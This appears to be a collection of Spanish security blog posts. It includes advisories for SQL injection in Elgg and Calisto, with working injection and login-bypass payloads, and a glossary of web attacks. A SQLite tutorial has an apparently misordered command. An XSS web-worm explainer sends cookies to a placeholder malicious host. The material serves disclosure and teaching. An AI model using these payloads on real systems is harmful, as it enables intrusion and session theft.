Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection
Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection
URL afectada: http://www.elgg.org/
Reportado por: http://lostmon.blogspot.com/2011/08/elgg-18-beta2-and-prior-to-1711.html
Notificación al afectado: SÍ Exploit disponible: SÍ
##################################################
###################
Descripción del afectado
###################
Elgg es un galardonado motor de redes sociales, la entrega de los elementos básicos que permiten a las empresas, escuelas, universidades y asociaciones para crear sus propias funciones de las redes sociales y aplicaciones. Las organizaciones con redes impulsado por Elgg incluyen: Gobierno de Australia, el Gobierno británico, canadiense Federal Gobierno, Mitre, el Banco Mundial, UNESCO, NASA, la Universidad de Stanford, La Universidad Johns Hopkins y más (http://elgg.org/powering.php)
################
Versiones afectadas
################
Elgg 1.8 beta2: vulnerable
Elgg 1.7.10 y posteriores versiones: vulnerables
Elgg 1.7.11: no vulnerable
#################
Detalles técnicos
#################
El tipo de inyección es integrado y sólo se puede explotar mediante inyección MySQL, funciona con
'magic_quotes_gpc' en 'on' u 'off''
######################
PoC
######################
Si sabes cómo inyectar, sabrás como usarlo ;-)
URL => http://localhost/elgg/search/?q=someword&search_type=tags&container_guid=7826'
Inyecciones:
and(select 1 from(select count(*),concat((select (select %column_name%) from
`information_schema`.tables limit 0,1),floor(rand(0)*2))x from
`information_schema`.tables
group by x)a) and 1=1
Count(table_name) of information_schema.tables where
table_schema=0x74657374 is 75
Count(column_name) of information_schema.columns where
table_schema=0x74657374 and table_name=0x62616E6C697374 is 4
################
Solución
###############
El afectado ha lanzado una versión actualizada para resolver este tema y otros, se pueden ver los cambios en el changelog y actualizen su Elgg a la versión 1.7.11.
###############
Tiempo de la vuln
###############
Descubierto: 30 de julio 2011
Notificación al afectado: 30 de julio 2011
Respuesta del afectado: 30 de julio 2011
Revisión del proveedor: 15 de agosto 2011
Divulgación pública: 15 de agosto 2011
########################## €nd ########################
Atentamente:
Lostmon (lostmon@gmail.com)
----
thz Lost ;-)
Calisto light, light plus and full, SQL Injection and user or Admin bypass
Calisto light, light plus and full, SQL Injection And user or Admin bypass
URL del afectado: http://www.calistosoft.com.ar/
Reportado por: http://lostmon.blogspot.com/2011/08/calisto-light-light-plus-and-full-sql.html
Notificación al afectado: SÍ Exploit disponible: SÍ
##################################################
##########################
Descripción de la vulnerabilidad
##########################
Calisto Light, Light Plus y Full contiene un error que permite a un atacante realizar ataques del tipo SQL injection.
El problema se debe a que el script no es el adecuado de usuario-entrada en el campo de formulario "Usuario" y el parámetro "txtEmail" dejando paso a "login.aspx" y "/ admin / loginAdmin.aspx" esto permite inyectar o manipular consultas SQL en la base de datos.
################
Versiones afectadas
################
Calisto Light
Calisto Light plus
Calisto Full
######################
PoC
######################
Este bug se puede utilizar para omitir la validación o la validación del usuario admin
1.- Si escribimos en la caja de user:
someword'or'1'='1' y haca clic en el botón de inicio de sesión, cuando carga la aplicación "login.aspx" nos muestra una advertencia SQL, pero si escribimos:
someword'or'1'='1'-- esto evita la validación (bypass), si alguien sabe un correo electrónico de usuario, entonces él puede registrarse como ese usuario :)
2.- Si escribimos en la caja de Admin:
Admin'or'1'='1'-- y hacemos clic en el botón de inicio de sesión, carga la aplicación hacia '/admin/loginAdmin.aspx' sin necesidad de validación alguna (bypass admin) :)
################
Solución
###############
No hay ninguna solución en este momento.
He enviado cuatro e-mails a través del formulario web de calistosoft e información y correos de apoyo para conseguir el contacto inicial, pero no me responden :(
###############
Tiempo de la vuln
###############
Descubierto: 30-07-2011
Notificación al afectado: 08/07/2011
Respuesta del afectado: no hay respuesta.
Parche: no hay un parche
Parche del vendedor: no hay un parche
Divulgación pública: 08/11/2011
########################## €nd ########################
Atentamente:
Lostmon (lostmon@gmail.com)
----
thz Lost ;-)
[Tutorial] Tipos de ataques en aplicaciones web
- Autenticación
Un ataque de fuerza bruta es un proceso automatizado de prueba y error utilizado para adivinar un nombre de usuario, contraseña, número de tarjeta de crédito o clave criptográfica.
2. Autenticación insuficiente
La autenticación insuficiente ocurre cuando un sitio web permite a un atacante acceder a contenido sensible o funcionalidades sin haberse autenticado correctamente.
3. Débil Validación en la recuperación de contraseñas
La débil validación en la recuperación de contraseñas se produce cuando un sitio web permite a un atacante obtener, modificar o recuperar, de forma ilegal, la contraseña de otro usuario.
- Autorización
La predicción de credenciales/sesión es un método de secuestro o suplantación de un usuario del sitio web.
5. Autorización insuficiente
La autorización insuficiente se produce cuando un sitio web permite acceso a contenido sensible o funcionalidades que deberían requerir un incremento de las restricciones en el control de acceso.
6. Expiración de sesión insuficiente
La expiración de sesión insuficiente se produce cuando un sitio web permite a un atacante reutilizar credenciales de sesión o IDs de sesión antiguos para llevar a cabo la autorización.
7. Fijación de sesión
La fijación de sesión es una técnica de ataque que fuerza al ID de sesión de un usuario a adoptar un valor determinado.
- Ataques en la parte cliente
8. Suplantación de contenido
La suplantación de contenido es una técnica de ataque utilizada para engañar al usuario haciéndole creer que cierto contenido que aparece en un sitio web es legítimo, cuando en realidad no lo es.
9. Cross-site scripting
Cross-site Scripting (XSS) es una técnica de ataque que fuerza a un sitio web a repetir código ejecutable facilitado por el atacante, y que se cargará en el navegador del usuario.
- Ejecución de comandos
10. Desbordamiento de buffer
La explotación de un desbordamiento de buffer es un ataque que altera el flujo de una aplicación sobreescribiendo partes de la memoria.
11. Ataques de formato de cadena
Los ataques de formato de cadena alteran el flujo de una aplicación utilizando las capacidades proporcionadas por las librerías de formato de cadenas para acceder a otro espacio de memoria.
12. Inyección LDAP
La inyección LDAP es una técnica de ataque usada para explotar sitios web que construyen sentencias LDAP a partir de datos de entrada suministrados por el usuario.
13. Comandos de Sistema Operativo
Los comandos de sistema operativo es una técnica de ataque utilizada para explotar sitios web mediante la ejecución de comandos de sistema operativo a través de la manipulación de las entradas a la aplicación.
14. Inyección de código SQL
La inyección de código SQL es una técnica de ataque usada para explotar sitios web que construyen sentencias SQL a partir de entradas facilitadas por el usuario.
15. Inyección de código SSI
La inyección de código SSI (Server-side Include) es una técnica de explotación en la parte servidora que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web.
16. Inyección XPath
La inyección XPath es una técnica de ataque utilizada para explotar sitios web que construyen consultas Xpath con datos de entrada facilitados por el usuario.
- Revelación de información
La indexación/listado automático de directorio es una función del servidor web que lista todos los ficheros del directorio solicitado si no se encuentra presente el fichero de inicio habitual.
18. Fuga de información
La fuga de información se produce cuando un sitio web revela información sensible, como comentarios de los desarrolladores o mensajes de error, que puede ayudar a un atacante para explotar el sistema.
19. Path Traversal
La técnica de ataque Path Traversal fuerza el acceso a ficheros, directorios y comandos que potencialmente residen fuera del directorio “document root” del servidor web.
20. Localización de recursos predecibles
La localización de recursos predecibles es una técnica de ataque usada para descubrir contenido y funcionalidades ocultas en el sitio web.
- Ataques lógicos
El abuso de funcionalidad es una técnica de ataque que usa las propias capacidades y funcionalidades de un sitio web para consumir, estafar o evadir mecanismos de control de acceso.
22. Denegación de servicio
La denegación de servicio (Denial of Service, DoS) es una técnica de ataque cuyo objetivo es evitar que un sitio web permita la actividad habitual de los usuarios.
23. Anti-automatización insuficiente
La anti-automatización insuficiente se produce cuando un sitio web permite a un atacante automatizar un proceso que sólo debe ser llevado a cabo manualmente.
24. Validación de proceso insuficiente
La validación de proceso insuficiente se produce cuando un sitio web permite a un atacante evadir o engañar el flujo de control esperado por la aplicación.
[Tutorial] Compacta y repara bases de datos SQLite
Cuando creamos una tabla, base de datos o datos y estos se han eliminado/borrado se deja el espacio vacío en la misma, este espacio vacío se reutilizarán la próxima vez que se añade nueva información a la base de datos, pero mientras tanto, el archivo de base de datos podría ser más grande. Además, las frecuentes inserciones, actualizaciones, puede causar que base de datos se fragmente.
Por ejemplo firefox mantiene una base de datos en sqlite donde almacena los datos del firefox resulta conveniente compactar para eliminar datos erróneos o borrados de la base de datos.
Para compactar y corregir todos los ficheros sqlite tan fácil como este pequeño script:
for db in `locate '*.sqlite'`; do
sqlite3 'VACUUM' $db 2>/dev/null
done
Para que resulte eficaz deberemos cerrar los programas que usan esta base de datos si no veremos algo como:
SQL error: database is locked
Si no tenemos sqlite3 deberemos de instalarlo:
sudo aptitude install sqlite3
Hay alguna aplicación que nos permite visualizar los datos incluso añadir datos nuevos o crear bases de datos, tablas:
sudo aptitude install sqlitebrowser
Es tan fácil como decirle a nuestro gestor de archivos que los ficheros sqlite los abra con sqlitebrowser, a partir de este momento podremos operar sobre la base de datos y nos resultara útil también para compactar la base de datos ya que este programita cuenta con dicha utilidad:

Desde la linea de comandos podremos interactuar con nuestra base de datos de esta manera:
sqlite3 db.sqlite
La sintaxis es prácticamente igual a MySQL y os resultara familiar si sabéis MySQL.
Un saludo
Artículo cedido por un conocido; chakal^-^.
Que es un gusano web y cómo funciona
Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada. En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.
Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.
Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.
Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.
Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.
Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola!
*script*alert(document.cookie)*/script*
Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.
¿Cual es el peligro real de todo esto?
Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:
*script*document.location.href=’www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie;*/script*
Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.
Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.
Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:
*script*alert(document.cookie);*/script*
Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.
En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.
Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.
Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.
Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.
- Artículo realizado por: Jose Carlos Norte.

